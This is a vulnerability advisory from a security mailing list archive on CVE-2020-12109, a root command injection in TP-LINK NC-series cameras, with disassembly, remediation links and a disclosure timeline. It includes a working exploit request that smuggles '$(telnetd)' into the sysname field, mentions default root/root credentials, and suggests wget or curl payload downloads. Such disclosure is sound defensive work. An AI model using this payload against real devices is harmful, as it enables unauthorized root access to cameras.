TP-LINK Cloud Cameras NCXXX Bonjour Command Injection

From: Pietro Oliva <pietroliva () gmail com>
Date: Wed, 29 Apr 2020 23:43:28 +0100

```
Vulnerability title: TP-LINK Cloud Cameras NCXXX Bonjour Command Injection
Author: Pietro Oliva
CVE: CVE-2020-12109
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected version: NC200 <= 2.1.9 build 200225, NC210 <= 1.0.9 build 200304,
                  NC220 <= 1.3.0 build 200304, NC230 <= 1.3.0 build 200304,
                  NC250 <= 1.3.0 build 200304, NC260 <= 1.5.2 build 200304,
                  NC450 <= 1.5.3 build 200304.

Fixed version:    NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
                  NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
                  NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
                  NC450 <= 1.5.4 build 200401

Description:
The issue is located in the swSystemSetProductAliasCheck method of the
ipcamera binary (Called when setting a new alias for the device via
/setsysname.fcgi), where despite a check on the name length, no other checks
are in place in order to prevent shell metacharacters from being introduced.
The system name would then be used in swBonjourStartHTTP as part of a shell
command where arbitrary commands could be injected and executed as root.

Impact:
Attackers could exploit this vulnerability to remotely execute commands as root
on affected devices.

Exploitation:
An attacker would first need to authenticate to the web interface and make a
request such as the following (the request contents might change slightly
between cameras):

POST /setsysname.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx

sysname=$(telnetd)&token=xxxxx"

In a device where telnetd has not been removed from the release firmware (such
as NC200), this would spawn the telnetd deamon. Default root/root credentials
could then be used to obtain a root shell via telnet.

Evidence:
The disassembly of affected code from an NC200 camera is shown below:

sym.swSystemSetProductAliasCheck:

      0x0049f1cc   lui gp, 0xa
      0x0049f1d0   addiu gp, gp, -0x3ebc
      0x0049f1d4   addu gp, gp, t9
      0x0049f1d8   addiu sp, sp, -0x28
      0x0049f1dc   sw ra, (var_24h)
      0x0049f1e0   sw fp, (var_20h)
      0x0049f1e4   move fp, sp
      0x0049f1e8   sw gp, (var_10h)
      0x0049f1ec   sw a0, (alias_arg)
      0x0049f1f0   lw v0, (alias_arg)
      0x0049f1f4   nop
  ,=< 0x0049f1f8   beqz v0, 0x49f218
  |   0x0049f1fc   nop
  |   0x0049f200   lw v0, (alias_arg)
  |   0x0049f204   nop
  |   0x0049f208   lb v0, (v0)
  |   0x0049f20c   nop
 ,==< 0x0049f210   bnez v0, 0x49f224
 ||   0x0049f214   nop
 |`-> 0x0049f218   addiu v0, zero, 0x42f
 |,=< 0x0049f21c   b 0x49f258
 ||   0x0049f220   sw v0, (arg_18h)
 `--> 0x0049f224   lw a0, (alias_arg)
  |   0x0049f228   lw t9, -sym.imp.strlen(gp)
  |   0x0049f22c   nop
  |   0x0049f230   jalr t9
  |   0x0049f234   nop
  |   0x0049f238   lw gp, (arg_10h)
  |   0x0049f23c   sltiu v0, v0, 0x81
 ,==< 0x0049f240   bnez v0, 0x49f254
 ||   0x0049f244   nop
 ||   0x0049f248   addiu v0, zero, 0x430
,===< 0x0049f24c   b 0x49f258
|||   0x0049f250   sw v0, (arg_18h)
|`--> 0x0049f254   sw zero, (arg_18h)
`-`-> 0x0049f258   lw v0, (arg_18h)
      0x0049f25c   move sp, fp
      0x0049f260   lw ra, (var_24h)
      0x0049f264   lw fp, (var_20h)
      0x0049f268   jr ra
      0x0049f26c   addiu sp, sp, 0x28

swBonjourStartHTTP:

0x0043a008    addiu v0, fp, 0x20
0x0043a00c    move a0, v0
0x0043a010    addiu a1, zero, 0x88
0x0043a014    lw t9, -sym.swBonjourGetName(gp) ; <= get the system name in fp+20
0x0043a018    nop
0x0043a01c    jalr t9
0x0043a020    nop
0x0043a024    lw gp, (arg_10h)
0x0043a028    addiu v0, fp, 0x20               ; <= put ptr to name in v0
0x0043a02c    lw a0, -0x7fdc(gp)
0x0043a030    nop
0x0043a034    addiu a0, a0, 0xd10
; a0 => "mDNSResponderPosix -n \"%s\" -t _http._tcp -p %d -x path=/login.html &"
0x0043a038    move a1, v0                      ; <= a1 points to system name
0x0043a03c    lw a2, (arg_b0h)
0x0043a040    lw t9, -sym.cmCommand(gp)        ; Execute the command
0x0043a044    nop
0x0043a048    jalr t9
0x0043a04c    nop
```

Mitigating factors:
-NC210 Cameras have a filter for "bad chars". This means the payload cannot contain any of the following characters: dot(.), at(@), dash(-), underscore(_), whitespace( ), and single quote(').
-Some cameras do not ship with telnetd, so other methods such as using wget or curl to download a payload from the network might be required to obtain a shell.

Remediation:
Install firmware updates provided by the vendor to fix the vulnerability. The latest updates can be found at the following URLs:

https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware

Disclosure timeline:
29th March 2020 - Vulnerability reported to vendor.
10th April 2020 - Patched firmware provided by vendor for verification.
10th April 2020 - Confirmed the vulnerability was fixed.
29th April 2020 - Firmware updates released to the public.
29th April 2020 - Vulnerability details are made public.

____

By Date By Thread

Current thread:

- **TP-LINK Cloud Cameras NCXXX Bonjour Command Injection** *Pietro Oliva (May 01)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License